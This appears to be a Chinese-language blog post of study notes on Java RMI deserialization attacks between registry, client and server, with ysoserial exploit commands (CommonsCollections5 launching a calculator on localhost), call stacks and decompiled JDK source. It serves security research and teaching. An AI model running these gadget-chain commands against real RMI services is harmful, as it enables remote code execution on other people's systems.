RMI相关安全文章已经很多了,记录下参考【1】的笔记
RMI数据传输都是基于序列化数据传输,RMI Registry、Client、Server都能相互攻击,在你攻击别人的时候 可能也会被人攻击。
RMI
- RMI Registry注册中心
- RMI Client 客户端
- RMI Server服务端
Demo
目录结构
1 | $ tree |
Registry.java
1 | public class Registry { |
HelloServer.java
1 | public class HelloServer { |
HelloClient.java
1 | public class HelloClient { |
互相攻击
参考【1】,下面3个互相能够攻击的原理及调用栈已经讲过了,这里相同部分就不赘述,简要记录下自己的理解
1. 服务端攻击注册中心
一句话逻辑解释:服务端调用bind(name,obj)注册远程对象,其中name,obj会以序列化方式发送给registry,registry反序列化它们,触发boom💣。
复现
- 启动rmi registry
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections5 "open -a calculator.app"
分析
registry重要的逻辑在这两个类里面
- sun.rmi.registry.RegistryImpl_Skel
- sun.rmi.registry.RegistryImpl_Stub
RegistryImpl_Stub
Stub类功能为:client/server 对registry发起请求,请求类型包括
- bind(code:0)
- list(code:1)
- lookup(code:2)
- rebind(code:3)
- unbind(code:4)
Server攻击Registry逻辑在这里
其中var1,var2为bind的参数,会序列化之后发送给registry,由RegistryImpl_Skel dispatch函数处理
RegistryImpl_Skel
Skel类功能为:registry处理client/server发过来的请求,逻辑在dispatch内,其中case值对应Stub中不同的code
很明显的readObject触发
结论:Server攻击Registry,反序列化触发点在RegistryImpl_Skel$dispatch
同理,dispatch函数内处理bind/rebind的逻辑也可以触发,不细讲
2. 注册中心攻击客户端
参考【1】中对于此处反序列化触发解释有误
参考【1】的逻辑解释:client执行lookup(name),Stub发起lookup请求,name序列化发送给registry,registry Skel dispatch处理该lookup请求,将查到的obj 序列化之后返回给client,client反序列化obj,触发boom💣。
这条攻击链路理论上是可以的,不过ysoserial JRMPListener的实现并非如此,而是:
client Stub底层调用的是StreamRemoteCall.executeCall,executeCall实现时,发包完成,会判断registry的返回包,如果是RMI,判断首字节,如果是2(应该是registry返回异常情况)则直接对余下InputStream进行反序列化,如果是1,退出executeCall逻辑,回到Stub lookup逻辑,进行InputStream的反序列化。
JRMPClient使用的是executeCall 2的逻辑,在executeCall里面触发反序列化boom💣。而不是 1的逻辑,在Stub中触发反序列化。
有个调试小疑问,var1调试的时候值与逻辑对不上,可能是代码版本原因,之后再研究。
复现
- 启动Evil Registry
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"
- 启动HelloClient
分析
参考【1】中认为的反序列化触发点在RegistryImpl_Stub$lookup var6.readObject()处,如下
其实是发生在invoke里面,
正确的调用栈如下
1 | readObject:150, LazyMap (org.apache.commons.collections.map) |
Tips:
- wirteObject 并不会tcp传输马上发送出去,相当与在组装RemoteCall的内容,其后由this.ref.invoke(var2)触发,底层是由StreamRemoteCall.executeCall再进一步调用java.io进行网络传输
3. 客户端攻击注册中心
客户端攻击注册中心 与 服务端攻击注册中心不同:
服务端攻击注册中心,通过bind(reg,obj),其中obj是反序列化的,但是客户端lookup(reg,str),str为str,不存在序列化漏洞。
问题出现在RMI DGC,RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。
一句话逻辑解释:registry 使用LocateRegistry.createRegistry(1099) 创建RMI注册中心,会陆续先后创建RegistryImpl_Skel、DGCImpl_Skel。其中RegistryImpl_Skel就是前文处理bind/lookup请求的逻辑,不多解释,DGCImpl_Skel是处理DGC请求的逻辑。DGC请求有标准的结构参数,也是序列化之后传输。
攻击流程是:Client连接JRMP连接之后,主动发起DGC请求,registry DGCImpl_Skel处理DGC请求,触发反序列化boom💣。
复现
- 启动rmi registry
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections5 "open -a calculator.app"
分析
首先从Attacker Client分析攻击payload
Attacker Client —— JRMPClient
JRMPClient 建立与registry的连接,然后发送DGCpayload
1 | public class JRMPClient { |
其中DGC请求包含两种,dirty请求和clean请求,参考一些DGC的说明,不太好懂,大致了解下
1 | 1、DGC采用引用计数法判断对象已死。 |
1 | DGC 抽象用于分布式垃圾回收算法的服务器端。此接口包含了两个方法:dirty 和 clean。当一个远程引用在客户机(客户机由其 VMID 表示)被解组时,则进行一次脏 (dirty) 调用。当客户机上不存任何针对远程引用的更多引用时,则进行一次相应的洁 (clean) 调用。一次失败的脏调用必须安排一次强洁调用,这样调用的序列号才能保持,以检测未来由分布式垃圾回收器接收的无序调用。针对远程对象的引用由保持该引用的客户机租借一段时间。租借期从接收到脏调用时开始。对租借进行续期是客户机的职责,其方式是:在租借期满之前,在客户机保持的远程引用上进行附加的脏调用。如果客户机在期满之前没有对租借进行续期,则分式布垃圾回收器假定远程对象已不再为该客户机所保持。 |
Registry
最终是sun.rmi.transport.DGCImpl_Skel$dispatch触发了readObject反序列化
调用栈如下
1 | readObject:371, ObjectInputStream (java.io) |
DGCImpl_Skel的产生
其实跟进到这里就反序列化原理利用点已经找到了,但是有没有好奇RegistryImpl_Skel、DGCImpl_Skel是什么时候产生的?DGC是什么时候加载的?
有兴趣的可以跟踪下,比较长
Registry就1行代码LocateRegistry.createRegistry(1099)
,具体做了什么?
java.rmi.registry.LocateRegistry$createRegistry
1
2
3public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}sun.rmi.registry.RegistryImpl$RegistryImpl
1
2
3
4
5
6
7AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x));
return null;
}
}, (AccessControlContext)null, new SocketPermission("localhost:" + var1, "listen,accept"));AccessController、PrivilegedExceptionAction可以不用管,大致是权限检测相关,和利用关系不大,重点关注
1
2LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x));sun.rmi.registry.RegistryImpl$setup
1
2
3
4private void setup(UnicastServerRef var1) throws RemoteException {
this.ref = var1;
var1.exportObject(this, (Object)null, true);
}sun.rmi.server.UnicastServerRef$exportObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
Class var4 = var1.getClass();
Remote var5;
try {
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}跟进
this.setSkeleton(var1);
sun.rmi.server.UnicastServerRef$setSkeleton
1
2
3
4
5
6
7
8
9
10public void setSkeleton(Remote var1) throws RemoteException {
if (!withoutSkeletons.containsKey(var1.getClass())) {
try {
this.skel = Util.createSkeleton(var1);
} catch (SkeletonNotFoundException var3) {
withoutSkeletons.put(var1.getClass(), (Object)null);
}
}
}sun.rmi.server.Uitl$createSkeleton
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23static Skeleton createSkeleton(Remote var0) throws SkeletonNotFoundException {
Class var1;
try {
var1 = getRemoteClass(var0.getClass());
} catch (ClassNotFoundException var8) {
throw new SkeletonNotFoundException("object does not implement a remote interface: " + var0.getClass().getName());
}
String var2 = var1.getName() + "_Skel";
try {
Class var3 = Class.forName(var2, false, var1.getClassLoader());
return (Skeleton)var3.newInstance();
} catch (ClassNotFoundException var4) {
throw new SkeletonNotFoundException("Skeleton class not found: " + var2, var4);
} catch (InstantiationException var5) {
throw new SkeletonNotFoundException("Can't create skeleton: " + var2, var5);
} catch (IllegalAccessException var6) {
throw new SkeletonNotFoundException("No public constructor: " + var2, var6);
} catch (ClassCastException var7) {
throw new SkeletonNotFoundException("Skeleton not of correct class: " + var2, var7);
}
}注意
String var2 = var1.getName() + "_Skel";
, RegistryImpl_Skel就是这么生成的,但是DGCImpl_Skel是什么时候生成的呢?sun.rmi.server.UnicastServerRef$exportObject
1
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
sun.rmi.transport.Target$<init>
1
this.pinImpl();
sun.rmi.transport.Target$pinImpl
1
this.weakImpl.pin();
sun.rmi.transport.WeakRef$pin
1
2
3
4
5
6
7
8public synchronized void pin() {
if (this.strongRef == null) {
this.strongRef = this.get();
if (DGCImpl.dgcLog.isLoggable(Log.VERBOSE)) {
DGCImpl.dgcLog.log(Log.VERBOSE, "strongRef = " + this.strongRef);
}
}
}这里触发了DGCImpl的实例化
DGC触发反序列化的逻辑就很简单了,在这两个类内
- sun.rmi.transport.DGCImpl_Skel
- sun.rmi.transport.DGCImpl_Stub
DGCImpl_Skel
都有反序列化风险
DGCImpl_Stub
思考
参考【1】中仅给出以上的攻击分析,但是从原理图中可以看出客户端、服务端、注册中心,中间都存在反序列化行为,理论上都可以相互攻击,为什么没有:
- 注册中心攻击服务端
- 服务端和客户端的相互攻击
4. 注册中心攻击服务端
和注册中心攻击客户端类似,都是StreamRemoteCall.executeCall case 2利用链路
一句话解释:Server Stub底层调用的是StreamRemoteCall.executeCall,executeCall实现时,发包完成,会判断registry的返回包,如果是RMI,判断首字节,如果是2(应该是registry返回异常情况)则直接对余下InputStream进行反序列化,如果是1,退出executeCall逻辑,回到Stub lookup逻辑,进行InputStream的反序列化。
复现
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"
- 启动HelloServer
分析
代码位置sun.rmi.registry.RegistryImpl_Stub#bind,sun.rmi.registry.RegistryImpl_Stub#lookup类似,不多解释
5. 客户端攻击服务端
一句话解释:RMI服务端会对RMI客户端传递过来的参数进行反序列化,触发boom💣。
复现
- 启动HelloServer
- 更改HelloInterface.java,参数改为Object
1 | public String sayHello(Object from) throws java.rmi.RemoteException; |
- 启动EvilHelloClient
直接将反序列化的object作为参数调用远程rmi服务
1 | Registry registry = LocateRegistry.getRegistry(1099); |
分析
HelloServer端HelloInterface sayHello参数原为string类型,并不影响,这里EvilHelloClient更新本地HelloInterface sayHello参数为object,可以攻击成功,并不受Server端参数类型影响。
流传的有通过字节码或者rasp动态更改参数类型的,这里不深入研究,参考中有相关文章。
6. 服务端攻击客户端
一句话解释:RMI客户端会对RMI服务端返回的非type.isPrimitive的返回结果进行反序列化,触发boom💣。
复现
- 更新HelloInterface.java,参数改为Object
1 | public String sayHello(Object from) throws java.rmi.RemoteException; |
更新Client sayHello和Server sayHello
启动Server
启动Client
分析
但是HelloInterface.java sayHello 函数返回类型为 string、int、boolean之类时不会触发,应该是会根据返回类型去序列化返回值。
参考【3】type.isPrimitive false的都可以
7. RMI+JNDI 攻击client
以上都是基于反序列化进行攻击,除此之外,还有通过RMI+JDNI 加载远程类来攻击client的方式。(需要client使用InitialContext,Registry类实例lookup)
原理为:在远程恶意类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,client加载时会执行这部分代码。
此处稍微提及,后续再细讲
小结
本节内容参考【1】前部分,复现了java rmi 客户端、服务端、注册中心三者间相互攻击,并追踪了漏洞产生原因、java调用栈。补充完善了服务端、客户端之间的相互攻击。
参考【1】后部分中提及的JEP290限制,通过反序列化互相攻击有了一定限制。通过JNDI+RMI攻击client也在JDK 6u132, JDK 7u122, JDK 8u113之后有了限制。但是都存在一些绕过方式,留待之后再跟进分析。
参考
- [1] JAVA RMI 反序列化知识详解
- [2] 飞花堂 - 青衣十三楼
- [3] 浅谈Java RMI Registry安全问题